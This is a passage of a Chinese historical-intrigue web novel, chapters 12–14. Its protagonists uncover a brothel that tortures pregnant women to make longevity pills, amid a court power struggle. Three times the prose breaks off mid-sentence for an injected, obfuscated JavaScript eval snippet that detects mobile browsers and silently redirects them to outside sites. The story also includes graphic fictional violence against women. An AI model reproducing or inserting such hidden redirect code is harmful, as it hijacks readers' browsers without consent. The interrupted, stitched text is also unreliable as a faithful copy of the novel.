那道人走上前去,捏住小琴的脸左右端详,道:“她也算是叫得上名字了,怎么,避子药没起作用?” “是啊。”另一个略显阴沉的龟公道:“这一下有些麻烦了。” “麻烦什么?”方才的龟公反驳:“左右不过是些下贱的女人,她们这种人,得个花柳病死了有什么蹊跷,大人神通广大,哪里算是个事?” “近日英武侯那边不太平,你们紧着点,不要让他们有可乘之机。” 韩濯心中微微一动。 “走吧。” 那人不知从哪里掏出了些石子,他将手一挥,只听风声一动,三颗石子竟准确无误打在画上。 韩濯无比庆幸自己没贸然和他正面刚,这道人的功夫绝不简单。 石壁隆隆响动,那二人架着小琴掀开画卷进了密道,随后那道人也将身影一闪,没入黑暗。 在这道人转身之时,面纱扬起,窗外透进来的月光恰好照亮了他的脸。 韩濯和宋青瑛皆是呼吸一滞。 此人半张脸阴柔若妇人,而另一半,仿佛堆叠了一层层融化的蜡油,其上布满龟裂,一半的五官均已看不出来形状,扭曲成诡异凸起的纹路,一只眼睛也不知所踪,借着惨淡的月光,更像是什么阴沟里爬上来的伥鬼。 这张脸着实骇人,等韩濯镇定下来,隆隆声再次响起,暗道关闭,她回过神来才发现自己手心已全是冷汗。 云归躺在这冰冷的铁床上已有两日。 这已经是难得的优待了,她偏过头去,在这密不透风的暗室里,弥漫着潮湿又腐朽的气味,起初她还能闻到隐隐的血腥臭气,但现在她已然混迹其中,亦如她还未曾开放就凋零的,已经看见终点的一生。 仿佛一颗早早坏掉的种子,毫无生机,干瘪无油。 她患上了一种只有女人会得的绝症。 铁床不远处,用铁链拴着不少的姑娘,她们已经在这儿呆了很长时间,起初,大家还会说说话,时不时有人发出绝望的怮哭,可现在全都沉默着。她们脚腕有的已经被磨得见骨,衣衫褴褛,不论是沉睡还是清醒,眼神皆是黯淡无光,成了一群被囚禁,空有躯壳的死物。 是的,死物。 仿佛她五个月隆起的,毫无动静的肚腹一般,她视线向下,看见了她裸露的身体。 她此刻希望她昨日被灌下去的药能在明日就起效,一碗打胎药成了解决她子宫中病灶的希望,这是最不痛苦的方式,如果不奏效的话,熊熊炉火还在燃烧,旁边的铁钳在映照下发出冰冷的光,她亲眼目睹过一个姑娘在铁钳的折磨与研捣下发出撕心裂肺的惨叫,被当成垃圾抬出去时如同一个血人。 这时她想起扬州的烟花三月,琵琶曲清扬婉转,自己一曲红绡不知数的曾经。 她被排挤出扬州,被人摔了琵琶,可她还年轻,花朵一样的美丽,这并不是什么大不了的事,她有大把的时间去踌躇满志,她一路跋涉西行,去了这大齐人人趋之若鹜的繁华西京。 但未等她一曲天下名。 再醒来时,已在金粉阁中一夜荒唐,这也不是生死大事,她还有琵琶,还能活下来,还能立得住脚跟。 噩梦是从那个富商离开开始的,她昏了头,谈了情讲了爱,当她一日抱着花坛连连作呕时,她从老鸨的眼神中看见了恶毒的闪光。 她没有再离开的机会了。 炼丹药的炉鼎火光熊熊日夜不息,她瞧见无数女子遭受这撕心裂肺的折磨,她亲眼见着金粉阁和她关系不对付的春心在铁钳的作用下掉落出血腥的肉块,垂落一条还连着身体,仿佛浸了血色油膏一般的脐绳,她看得吐了一回,尝试过逃走,但弹过琵琶的指尖鲜血淋漓,铁索岿然不动。 此刻也快轮到她了。 春心是个跋扈的,可走时一点心气也没带走,引以为傲的才情对她并没有什么助益,在生命跌落时,死得像普通俗物。 她走那日,云归用头发搓了线,勉勉强强弹了一曲《阳关三叠》。 世界上真的有鬼神么? 她曾经从不信这些,可此刻,她不得不把希望寄托于此,她要化成厉鬼,即使万劫不复,也要让那些道貌岸然的“贵人”一个个死于惊怖和利爪,他们吸着女人的生命,用着女人孕育的血肉,只为了一个荒唐可笑的长生。 她开始隐隐期待死亡的降临。 房间又进来了人,她被牢牢捆绑在铁床上,只能微微侧过头去,屋内的姑娘们全都瑟缩起来,她们或惊惧地缩到角落,或捧住已经有些明显的腹部,看着又一个跌落地狱的羔羊。 云归发不出声音,一滴冰冷的眼泪流进发鬓,留下一道惨烈的水痕,再无踪迹。 “我天,真的吓死老娘了。” 李三三心有余悸道,西街尚人流如织,灯火辉煌,他们三人仿佛刚刚从地狱回到了人间,都松了一口气。 宋青瑛已经沉默一路了,此时突然开口道:“他们要孕妇做什么?” 韩濯心里隐约有了猜测的方向,但面对年纪尚小的宋青瑛,她说不出口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640125|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那谁知道了,还不是怪你那驸马,要是老老实实早早进去不就真相大白了?磨磨唧唧还怀疑老娘,最可气的是,她还怀疑你!这你能忍?同床共枕这么多日,基本的信任呢?这种男人,亏你还要!” 韩宋二人这表面夫妻皆是一噎,韩濯反驳道:“进去了大概率我们正好撞上那人,被人瓮中捉鳖,说不定此刻已经全军覆没。” 宋青瑛拼命点头,李三三看了他一眼,颇觉不争气,决定以后两人一起骂。 “李三三,你是卖药的,还有师父?”韩濯冷不丁问道。 “对啊,我是个郎中来着,但没医馆收我这个女人,我卖药来钱快些。”李三三随便回答,“你有病要治?够点呛,我是妇科圣手,你要壮阳药我可以给点,你十八了吧?我看你这模样,胡子也没长,脸细看还有点,啧啧,有那方面问题也正常。” “闭嘴!”韩濯怒道:“少拿你那些龌龊心思揣度我,阿瑛还在,你顾忌点小孩子!” 李三三撇了撇嘴,忽然意识到什么一般,惊讶道:“不是,你们平时咋睡的,纯聊天?” 韩濯给了她后脑勺一个栗子,道:“我是什么只用下半身思考的野人吗,阿瑛才多大,你快闭嘴吧!” 宋青瑛很合时宜地天真道:“什么啊?” 韩濯有理由怀疑他是装的,有关自己那么重口的同人文他都看了。 李三三看了看韩濯,又看了看宋青瑛,一时无言。 “行吧。”她放弃了挣扎。 “那你要问啥?” 韩濯顿了顿,看了一眼宋青瑛,把他打发去帮她买桂花酥去了。 李三三看着宋青瑛走远,不耐烦道:“到底要问啥,这回他走了。” “你既然卖药,那市场状况你也熟悉,有没有什么药明面上没有货源,暗地里却能花费很多钱才能搞到的?或者,有什么见不得光的仪式?” 韩濯顿了顿,又道:“换句话说,有没有什么药的出现,或者什么生意的繁荣,和金粉阁起家在一个时间?” 李三三皱眉片刻,突然想到什么似的,瞳孔一缩。 “长生丹。”她喃喃道。 随后她猛地看向韩濯:“你是说,那些女人,都被用来.......” “生产原料。”韩濯接道。 李三三嘴唇颤抖片刻,随后道:“我要赶紧回去。” 韩濯拉住她:“等等!” “等什么?”李三三抽开手:“她消失已经五个月了,活要见人死要见尸,我得看见才死心。” “不是不让你去,”韩濯急道:“你这功夫,得自己栽到里头,还有阿瑛,他定会跟来,这种事能让他涉险吗?我刚刚已经通知兄长的亲兵了,他们今晚便和兄长去普化寺,明晚,我便和兄长要他们来帮忙,李三三,不差一时,你不能意气用事,我保证。” 韩濯长呼一口气道:“明晚,我们定能把他抓住,救出这些姑娘们。” 李三三沉默片刻,也点了头:“明晚也带上我,那药把你卖了都买不起,我现在赶着去偷一点。” “你成吗?”韩濯质疑。 “我的功夫不在拳脚,全在于取人财物‘神不知鬼不觉’如探囊取物,不然你以为金粉阁如铁桶一般,我怎么能混进去?”李三三道,随后也没正式道别,甩了甩手便淹没在了人流中。 “她哪去了?”宋青瑛提着桂花酥走来。 “走了。”韩濯回道:“她想起来有别的事。” 宋青瑛迟疑片刻,对韩濯开了口:“我有些猜测,不知对不对,我觉得这些事,可能和长生丹有关。” 韩濯一惊,手中桂花酥掉落在地。 12. 孤茕百离 “长生丹?” 宋青瑛点了点头。 “殿下从哪里知道这种东西的?”韩濯严肃道。 不知怎地,宋青瑛有点怕韩濯叫他“殿下”,他整理了一番头绪,谨慎道:“这东西在西京城的官宦富贵人家流通已久,不算秘密,我在宫中便见过。” “谁?在谁那里见过?” “二皇兄。” 永王? 韩濯脑中的线索理到一半,又成了浆糊,她又问道:“殿下又为何觉得这丹药和此案有牵扯?” 宋青瑛不语,伸开手掌,他的手心躺着一颗指甲大的赤色药丸,如同凝固的鲜血。 韩濯被这孩子吓得半死,怎么什么都敢拿:“你这东西哪来的!” “那日,白县令府上。” 那天白县令听闻女儿被劫,气急攻心险些丢了性命,旁边的侍女手忙脚乱拿了常服的药物喂给他,混乱间掉出一粒,恰好被后来的宋青瑛捡到。 “这东西我印象深刻,三年前父皇寿宴,永王把这药献给了父皇,父皇...心情很好,还赏了永王一件狐裘。” 宋青瑛又一句话如惊雷炸响:“这金粉阁,也是三年前才开的张......” 韩濯立在当地,突然发现这件事的背后连着她不敢想象的巨大根系。 “朝中现在不太平......”韩胤的话又回荡在耳边,她拿定了主意,明日等韩胤找回嫂嫂,一定要和他好生谈谈此事。 “这东西给我,万一有毒怎么办?” 宋青瑛无奈地看着韩濯土匪一般把他手里的丸药抢走了。 清晨,英武侯府。 韩濯不敢耽搁,早早去便找韩胤,她还是大学生时,每天仿佛冬眠一样睡不醒,如今倒是过上了夙兴夜寐的公务员日子。李三三和宋青瑛二人所言非虚,白兰茵昨晚就被护送回了侯府,现下大概率还在和韩胤闹脾气,不过,韩濯也管不了那么多了。 韩胤这些日子憔悴了很多,他本来身体就比常人差些,这几日茶饭不思,难以安眠,整个人都好像被抽干了精气神。 “这些日子,辛苦你了。”韩胤也没想到韩濯这么快便找到了妻子,和她逞勇斗气的念头早早便没了,但他到底还是傲的,这么一句话他踟蹰片刻才说出口。 韩濯一愣,有些不自在地摸摸鼻子,也没答话,她也觉得别扭,只好直接糊弄了过去。 “兄长,我今日来,是有事想问你。” “知无不言。” 韩濯深吸一口气道:“兄长可听说过长生丹?” 韩胤没觉得有什么不对,点点头道:“自然,这东西在西京流通很久了,那些昏了头的老家伙什么都信,觉得吃了就能长生不老羽化登仙,怕是忘了前朝那烧丹炼汞的哀帝是怎么死的。” 韩濯道:“那兄长可知,白大人也在用这个?” 韩胤皱了皱眉,看来是不大知道。 “不瞒你说,我和白大人其实不算熟识,阿茵是乳母在乡下带大的,见她爹一面十分艰难,她很少和我提岳父大人......我也只是年节时带着阿茵送些礼品问候一声罢了。” 韩濯点头,她大哥和大嫂是少年相识,感情甚笃,难得不是政治联姻。 “那永王呢?” “你提他做甚?”韩胤的声音突然就拔高了。 “兄长为何如此紧张?”韩濯疑道:“兄长,你突然要离开京城驻守断雁关,和永王殿下也有关系吧。” 韩胤神色紧绷,思索片刻才道:“你在查什么?” 韩濯十分坦荡:“金粉阁。近年西京城无数女子失踪被害,小?便是其中之一,我怀疑,这和长生丹,永王都脱不开关系。” 韩胤听了她的话坐不住了,起身在房间中来回踱步,韩濯看得出来他内心焦躁,也不搅扰他,她眼神一错不错盯着韩胤,像是要看透什么一般。 “你不要查下去了。”韩胤终于停下来,沉声道。 “为何?”韩濯站起身来:“兄长,你可知这关系多少女子的性命!” 韩胤摆了摆手:“这也不过是你的臆断,阿濯,从前你醉心诗书与刀剑,朝堂上的明争暗斗你了解多少,西京世家大族之间的勾连你又知道几何?你自诩聪明,可如今你也成了皇亲国戚,身家性命与这大齐息息相关,我离京之后,你还要这样懵懂不知事吗?你不是小孩子了,怎么如此意气用事?” “我懵懂不知事。”韩濯的声音中压抑着怒气:“就你什么都知道,什么都懂,却不肯明明白白告诉我?你到底在怕什么,还是说,韩胤,这种把我蒙在鼓里自己手握权柄的感觉让你上了瘾?高高在上指点我的滋味很好吧?兄长大可放心,我会尽量当好这个废物驸马来满足你的虚荣心,你这靠祖荫承袭的爵位,我不稀罕!” “我是为了你的性命考虑!” 韩濯冷笑一声:“性命?真有意思,难不成那碗砒霜是鬼上身给我灌的?” “啪!” 韩胤和韩濯都愣住了。 韩濯没想到韩胤真能下手打她这一巴掌,她有些不可置信地看着他,没去触碰自己的脸,整个身体狠狠绷紧和他对视,可汹涌的情绪冲刷上来,她明白自己是在虚张声势。 韩胤喘着气,咳嗽连连,他被韩濯一番话一激,涌上来一阵被戳破的恼怒,竟然伸手打了人,一巴掌下去他就后悔了,看着韩濯倔驴一般表情的脸上明晃晃的巴掌印,他一时间愧怒交集,一口气没上来,眼前发黑起来,只好摸索到身后的椅子粗粗喘了好几口气。 韩濯看他这样,也放下了不少恼怒,回想起方才自己的话,确实过分了些,她别别扭扭道:“我给你找郎中去。” “别去!”韩胤伸手。 他缓了半晌,看见韩濯站在他身侧,脸上的担忧有如实质,曾经种种走马灯一般在他脑海中走过。 他终究有愧于韩濯。 韩濯没有童年,这他是知道的。 或许是因为被郎中判了缓期的死刑,从小他就颇受疼爱,他的记忆是从韩濯出生开始的,英武侯夫妇把所有的宠爱都给了自己,而对韩濯则极尽严苛,韩濯也曾爱哭过,练武磕破了膝盖,伤口深可见骨,手上水泡破成血泡,缠上纱布再提刀继续,老英武侯只会拎着她的脖子让她起身从头再来,那时他害怕向来慈爱的父亲,又同情自己的妹妹,与此同时,心里隐隐羡慕着不必缠绵病榻的她,被寄予了全家上下所有的厚望。 韩濯没有香帐锦褥,没有胭脂金钗,没有粉黛罗裙,也不再有眼泪,她同时也羡慕着自己一人独享父母的偏爱,这一点韩胤清楚,他与她之间,隔着难以翻越的围城。于是年少时相看两厌,她换着法子捉弄自己,而自己也毫不犹豫地揭露她自以为天衣无缝的种种小聪明。 但他二人之间,也并不完全如此。 韩胤记得书院里郑侍郎的两个儿子取笑他那时不自然的走路姿势和羸弱的身体,是韩濯下了学把他们堵在墙脚扭脱了二人的胳膊,等追究到老英武侯夫妇头上来,她却放弃了不受罚的机会,只仰着脸说:“看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14640126|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不顺眼,想打便打。 我是昏了头么? 韩胤默默想。 当初那一碗致命的砒霜,自己是怎么狠下心来的呢,还是说,英武侯这个每日挣扎在明枪暗箭中的爵位,让他二人愈发行远,虽一片屋檐下却一面难见,过往早已不必追寻,爱恨都渐渐清浅。 他并非生性凉薄。 韩胤长长叹了口气,开口道:“从前很多事未曾和你讲,我确实有错,如今,你也该知道了。” “太子和永王一直在明争暗斗,这我不说,你应当也能看出来。” 韩濯也平静了下来,点了点头。 “就在你大婚当日,太子便送了贵重贺礼,他不似永王那般手下一干精兵良将,近年来永王四处征战,战功赫赫,朝中声望也水涨船高,太子这么做,你也应该明白他的目的。” 若永王只是个毫无野心的忠臣倒也罢了,可明眼人都能看出来他并非池中物。 韩家的支持,对二人来说是一把屠龙宝刀。 “从祖父以来,我们韩家就只为大齐的百姓而战,他们这些自相残杀的腌臜事,韩家绝不掺和进去。” 韩胤说道:“他的礼我没有收,而不久前,永王来信,说彝州李将军私屯军械,还私下虚报名额吃空晌,已在被押送回京的路上了。希望我能派人接替。” 韩濯讶然:“李将军,李清云?他不是永王麾下的么?” 韩胤点头道:“的确如此,李清云虽是永王的人,但我们有些故交,他是什么样的人我清楚,干不出来这种事,况且。” 韩胤停顿了一下:“他当初被永王从京城调任到彝州前,和一个金粉阁中的女子有所牵扯。” “我明白了。”韩后退半步,沉声道。 “永王私下必定是做了什么见不得光的事,被李清云发觉,才将他调到天高路远的彝州,现在为了把韩家拉入麾下,又要牺牲掉这个烫手山芋。” “不得胡言。”韩胤制止道:“永王不好相与,小心引火上身。” 他并没否定韩濯的话。 韩濯道:“无数人因此葬送了性命,我也是女人,抱歉,兄长,我做不到袖手旁观。” “你疯了么?”韩胤道:“你知道......” “兄长现在便带着嫂嫂启程吧,越快越好。”韩濯转身:“他们不会拿韩家怎么样的。” “那你怎么办?你如何自保?你觉得凭你这个虚职,还能把永王的棋盘掀了不成吗!” 韩濯离开的脚步停住了,良久说道:“我不是为了掀翻谁的局,也不是为了和谁作对,这天下是谁的我也并不在意。兄长,若是天下百姓人人能安居乐业,值得忧愁的都是些鸡毛蒜皮的小事,若是女人可如同男人一样遨游天地,哪怕是不必提心吊胆地走夜路呢,那这江山姓什么,易不易主,还重要么?” “快住口!” 韩濯回了头:“兄长不想参与党争,这是兄长的气节;但要给这些丧命的人一个交代,也是我要践行的道,我们虽是手足骨肉,但未必要趟同一条河流,兄长,一路平安,阿濯告辞了。” 韩胤不再试图制止她,他沉默片刻,看着韩濯离开的背影,终于开口道:“等一下。” 韩濯看见他深深叹了口气:“你脸上还是回去敷一下,刚才是哥不对,你......多保重。” 韩濯眼眶有点热,她勉强笑了笑,“嗯”一声应了,随后头也不回地迈步离开,一阵秋风吹过,宽阔的梧桐叶在她身后盖下来,像厚重的掌。 13. 危机之始 中庭一株极高的槐树,张牙舞爪地刺破围成一方的天空,不算小,却也正是因此而显得无伤大雅,理所应当。 这是宋青瑛最熟悉的天空的样子。 太子居所的宫人要比宋青瑛那儿多了几倍不止,人虽然多,但连脚步声都是近乎没有的,像在殿中或伫立或飘来飘去的鬼魂。 “三皇妹?” 宋乐湛素来勤勉,宋青瑛只好挑了近午时的时辰来找他,太子曾经还算疼自己这个“妹妹”,但也只限于有事没事往宋青瑛那里塞点小玩意,真论起来恐怕连他长什么样都面生。 宋乐湛对自己这个嫁出去的妹妹特地拜访他,自然是诧异的。 “皇兄。” 太子过去扶了他一把:“三皇妹还没吃饭吧,正好和我一同......” 宋青瑛摇摇头,眼睛向四周扫了一圈,太子心中暗暗称奇,却还是依了自己这个只有豆丁大的妹妹的意思,把宫人都挥退了去。 “三皇妹,你究竟有什么事?” 宋青瑛稚嫩脸上的表情却严肃得很,对这个年纪的孩子来说,明明应该有些滑稽的,可太子看着却觉得十分郑重,不由得也坐得正了些。 “我有份大礼想送皇兄。” “什么?”太子有些迷茫。 “永王。” / “你不是说能要来人吗?” 李三三顶着鸡窝一样的乱发冲韩濯道。 “怎么,你的保证呢?” 韩濯看了她一眼,心虚得厉害。她光顾着和韩胤掰扯离京和私自查案的合理性了,至于这借人手的正事儿,她等到韩胤两口子的马车出城了才想起来。 此刻她二人正蹲在西市尾犄角旮旯的小巷子里,离金粉阁只有一墙之隔,他们当时闹出的动静可能有点大,莫名其妙凭空消失了李三三和两位“客人”,金粉阁不可能不对她们有所防备。依李三三的意见,她们是要钻狗洞进金粉阁墙内了。 韩濯低头,认错态度诚恳,李三三翻了个白眼儿:“行了,好在我也没真想过靠你大哥,现在我们就这一条路能进,你我小心些,我警告你不要打退堂鼓,你的理由我不想听了。” “谁要打退堂鼓?”韩濯恼道,刚欲起身,却发觉被挡了光,她心中“咯噔”一声,朝那边看去,一个脸带刀疤的壮汉堵在巷口,神色阴鸷。 李三三仿佛受惊的兔子,一蹦三尺高:“什么人!” “吴钩兄弟,你怎么没随侯爷走?” 韩濯按住李三三,站了起来,似乎和刚才毫无形象蹲在地上的那位不是一个人。 李三三看了一眼韩濯,眼神狐疑:“怎么回事?” 韩濯没理她,心中有些慌乱,这吴钩年少时随老英武侯征战,韩胤袭爵后更是寸步不离地跟着新英武侯,可如今韩胤和白兰茵刚刚离京,不可能不带着吴钩,难道是他们夫妇出师不利,刚走就遇到了什么事? 吴钩是个闷葫芦,打一棒子难得吱一声:“侯爷让我以后跟着您。” 韩濯愣了。 “什么意思?你不和他们去断雁关?” “不去,侯爷让我以后跟着您。”依然是这句话。 韩胤把他最信任的护卫留给她了? 韩濯一时间五味杂陈,李三三却突然“哦”了一声。 她拍拍手乐道:“你是韩家那个小丘八手下的老丘八,我听说过你。” “三三姑娘,不得无礼!”韩濯冲她道。 李三三撇撇嘴,嘴里捣鼓着:“那还走狗洞嘛,还是从正门进?” 韩濯看向吴钩:“吴钩兄弟别和她一般见识,眼下我们实在耽误不得,要不然你…”韩濯想了想道:“你知道我们要去做什么吧。” “知道一些。” 韩濯点点头,那一边李三三蹲下扒拉着旁边的碎石乱草,露出一个小洞来。 “我是过得去的。”李三三道,上下打量韩濯一眼:“小腰儿挺细,你好像也行,但他嘛……” 韩濯看向吴钩:“吴钩兄弟,这个忙你乐不乐意帮?一切不必勉强。” 吴钩面色不改:“侯爷托付,万死不辞。” “额......”韩濯道:“倒也不必如此。” “那这样,”韩濯踢了踢狗洞旁边的瓦砾道:“我们先进去,有劳吴钩兄弟接应我们,给我们......”韩濯沉吟片刻道:“一个时辰,一个时辰后不论我们是否和你汇合,去找......” 韩濯忽然茫然了,她此刻竟然不知道偌大京城,该信任谁才好。 “侯爷虽离京,御林军中有不少兄弟我还是叫得动的。”吴钩道。 也只能如此了。 韩濯点点头道:“若我那时还没出来,您只管带人进来,就说驸马失踪,奉公主之命带人来寻。” 韩濯有些心虚,但此刻她在京城可谓无所凭依,能借的势,恐怕也只剩宋青瑛了。 “走吧。”韩濯没再啰嗦,蹲了下去。 李三三哼了一声,像只猫一样紧跟着韩濯也钻进去了。 / “三皇妹,这种事怎是你可干涉的!”太子站起身来,神色阴鸷。 “皇兄,我难道说错了不成?”宋青瑛直直仰视太子,竟也丝毫不露怯。 “女子干政,你一个嫁出去的公主,是要造反不成?”宋乐湛压低声音道:“你和驸马关系似乎不错,那我问你,就算你能独善其身,那驸马呢?你好歹还算皇家血脉,可韩清之,她是大齐的臣子,这么牵扯进来,最后落得个谋逆之罪!她韩家的声名,她的前途和性命,你替她想过吗?” 宋青瑛心里微动,但并没有松口:“皇兄,不要和我说这些,你是正人君子,我信得过你,永王蒙蔽父皇草菅人命,你不可能不察觉,你是未来的君王,难道真的要闭目塞听?至于驸马,我敬她侠义心肠,便也不可能不把事情管到底。” 宋青瑛深吸一口气继续道:“皇兄,治国不能靠永王那等好大喜功视人命如草芥之辈,这是个机会,皇兄你得信我。” “我......”宋乐湛神色复杂,定定看了宋青瑛半天,长叹一声:“回去吧,你刚才说的一切,我都没听到。” “皇兄!” “我是为了你好,你自幼不在深宫之中,心思自然单纯了些,我不怪你,很多事我说不得,你回去好好想想,日后遇到什么难处尽管来找皇兄,但这事,我管不了。” 宋青瑛立在原地,有什么东西呼之欲出,牵动着他的肝脏肺肠,隐隐作痛。 “皇兄。” 宋乐湛停下了离开的脚步。 宋青瑛回头:“你们是不是有事瞒我。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14640127|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这是个肯定句。 宋乐湛一言不发,宋青瑛便点点头道:“我明白了。” “你明白什么?” “这些事,父皇都知道对不对。” 宋乐湛大惊:“快住口!” “你也知道,对不对?”宋青瑛神色冰冷,继续说道:“永王草菅人命,做这些见不得光的肮脏生意,百来个女子的命都葬送掉,只是为了讨好那老糊涂开心?” “三皇妹,这是我的东宫!休得在我这里胡言!” “是啊,你怕我连累你,所以我不能在你的宫里说实话,堂堂太子过得如此窝囊,任由一个亲王胡作非为,亏我还称你是君子,闭目塞听便天下太平,难为你了,是我扰了你耳目清净,你不敢得罪父皇,所以不敢管永王,苍生的哀嚎你视而不见,如此懦弱,怎堪为将来的一国之君!” 宋乐湛神色灰败,喃喃道:“真是......岂有此理。” “连永王都知道为自己争一争,太子殿下,你难道真以为,你的太子之位如此稳当么?” “你!” “皇兄,你听我一次,此次未必不能重创永王,你名正言顺为民除弊,父皇不可能因此对你如何,那丸药若当真有用,今年父皇他为何又总是身体抱恙?” “来人!” 宋青瑛看向太子,或许自己一番话,真的说动了他。 “把三皇妹请到太子妃那儿好好叙叙旧,没有我的命令,谁也不准让三皇妹离开。” “皇兄!” 太子深深看了宋青瑛一眼:“你再折腾,整个韩家都要赔进去了。” 宋青瑛抬头看着太子,铺天盖地的无力感把他浇了个透。 / 暗道狭小逼仄,没让吴钩下来是正确的决定,稍微魁梧些的人进来,都不能避免蹭上墙壁。 李三三在前面点着火折子,一片寂静中只能听见自己的脚步声,精神过分紧张,二人行动都极尽轻慢,连呼吸都放缓些许。 李三三突然出声:“你说那怪道士要是在下面能不能听见我们。” 韩濯被她吓了一跳,轻声抱怨道:“怎么突然出声?不打声招呼的。” “那人功夫非凡,暗道又把我们的声音共振放大了不知多少倍,自然能听到。” “那我们这么小心有屁用?”李三三一语中的。 韩濯觉得十分有理。 “还不如动作快点。” 说着李三三便加快脚步,韩濯也赶紧跟上,这些日子的经历过分诡异,搞得她有点草木皆兵了。 没走两步便撞上了李三三的后背。 “诶?” 李三三罕见地没有刺她一顿,韩濯抬头,也呆住了。 原本狭窄的暗道在拐角处豁然开朗,仿佛一个巨大的洞窟一般,火光昏黄,一旁的铁架铁床上不知放了多少看上去就令人头皮发麻的钳夹铁具,而这洞窟的地上,旁边的柱子上,几架铁床上,都锁着衣衫褴褛的女子,皆是眼神空洞,身体浮肿,几个女子肚腹已然明显隆起,伏在地上,不知是死是活。 李三三和韩濯都被这诡异的景象镇住了,李三三艰难地咽了一口唾沫,喑哑着嗓子回过神开口道:“云归,对了,有没有云归?” 离她们最近的铁床上,李三三看到了一抹熟悉的侧影。 14. 相鼠有皮 “云归!” 李三三几步奔到铁床前,倒吸了一口冷气。 这铁床上的女子无声无息,衣不蔽体,四肢皆被牢牢锁住,眼下青黑一片,哪里有当初那般风华绝代的模样,而她也和其他女子一般,肚腹如同鼓起的水球,仿佛被抽干了所有活气。 李三三愣愣伸出一只手,想去探她鼻息,可手却仿佛没了直觉,麻木得无法感知,她狠狠甩了甩几下,又向她鼻下探去。 铁床上的人却毫无预兆地睁眼了。 “妈呀!” 李三三吓得一跳,跌坐在地,正当当压在韩濯的脚上,她刚刚做好了云归已经遇难的准备,却被自己预设的死人去而复生吓得够呛,她跌得屁股痛,脑子断了弦,一时没反应过来云归是人是鬼,闭眼扯嗓子喊道:“云归你记得我不?你活着还是死了啊你都吱一声,姐对不起你啊,要不你吃了我也成,咱姐俩都变成鬼之后也能做伴儿......” 韩濯被她压得痛,伸手去拉李三三起来却没拉动,听她胡说又愠怒道:“胡说什么,白痴!什么鬼不鬼的,云归姑娘还活着,你给我起来!” 韩濯有点担心云归的精神状态,急于堵上李三三的嘴。 “啊?” 李三三愣愣的,被骂了竟然也没回嘴,一阵劫后余生的喜悦后知后觉弥漫上来,她脑子慢慢化了冻,看着云归的状况,想起从前二人相处的种种,再回忆起这半年来她费尽绿豆大的心机找寻云归的下落,一时间又喜悦又难过又委屈,干脆不理韩濯,还嫌她的脚硌屁股,屁股一歪换了个地儿,坐在地上就开始哇哇大哭。 “快起来,弄这么大动静你是活够了么!”韩濯对小姑娘从来都是十分有耐心,可惜遇见李三三这么个姑奶奶,好脾气都耗了个干净。 “云归姑娘,你……” 韩濯看向云归:“姑娘……” 随后猛地一震,想起来什么,赶紧背过身去,额头滴下两颗冷汗。 “得罪得罪得罪得罪,非礼勿视非礼勿视非礼勿视……” 她连珠炮一般咕噜咕噜出一大长串,心碰碰地跳,自己可差点成了不知礼数的流氓。 韩濯随即三两下脱了外袍向后伸手递给李三三,示意她给云归披上,可李三三尚沉浸在自己的世界里,韩濯手伸了半天也没人接,韩濯气得向后一踹,好歹是把李三三暂时踹清醒了。 李三三抹了两把脸,将袍子给云归披上了。 “云归,你还认得我么?” 云归不说话,只是将头了偏向一侧,眼神空洞。 “云归,你说句话,云归?” “她现在精神不大好,受过不少刺激,先别废话了,还是想办法把锁解了。”韩濯重新转过了身,沉声说道。 “得罪了。”韩濯上前查看云归手腕和脚腕处的锁链,是比较普通的样式,没有什么特殊,李三三应该可以轻松搞定。想来那个妖道也觉得用这种普通栓畜牲的链子就足够了。 韩濯这回从怀中掏出茶针来,打掉李三三想要伸向自己脑袋上的手:“用这个。” 果真,这失踪的女子,就藏在天子眼皮子底下,还真是灯下黑。 史书工笔,这些人的命运就这么被埋在洪流当中,轻描淡写地揭过了。 历史记录某年某月,某某入仕,某某升迁,某某得封,某某拜相,某年丰收,某年洪涝,某年螟灾,某年大旱。而一个连姓名都没有的女人的生死存亡,在这些事面前如此不值一提,万万个个女子的哭嚎掺杂在轰轰烈烈流过的逝水中,却依旧几不可闻。 韩濯搓了搓脸,冷静下来思考现在该怎么办,这么多妊妇光靠她们两个人必定不够人手,现在立刻折返通知吴钩确是上上之策,但之后怎么办?明着把金粉阁抄了么?不说韩濯有没有这个权利,永王的底还没摸透,还真不敢轻举妄动。 韩濯合计着,眼一瞥突然看见了熟悉的人,当即大惊失色。 “小琴?” 那双手被反捆在柱子上的女子,不正是小琴么? 韩濯急忙走上前去,轻轻拍了拍她的脸颊:“小琴姑娘?你醒一醒,能听见我么?” 小琴缓缓睁了眼,韩濯见此便松了一口气,想是她刚进这虎狼窝不久,还没被折磨得精神失常。 “姑娘,你还记得我么?怎么回事,难道姑娘你也……” 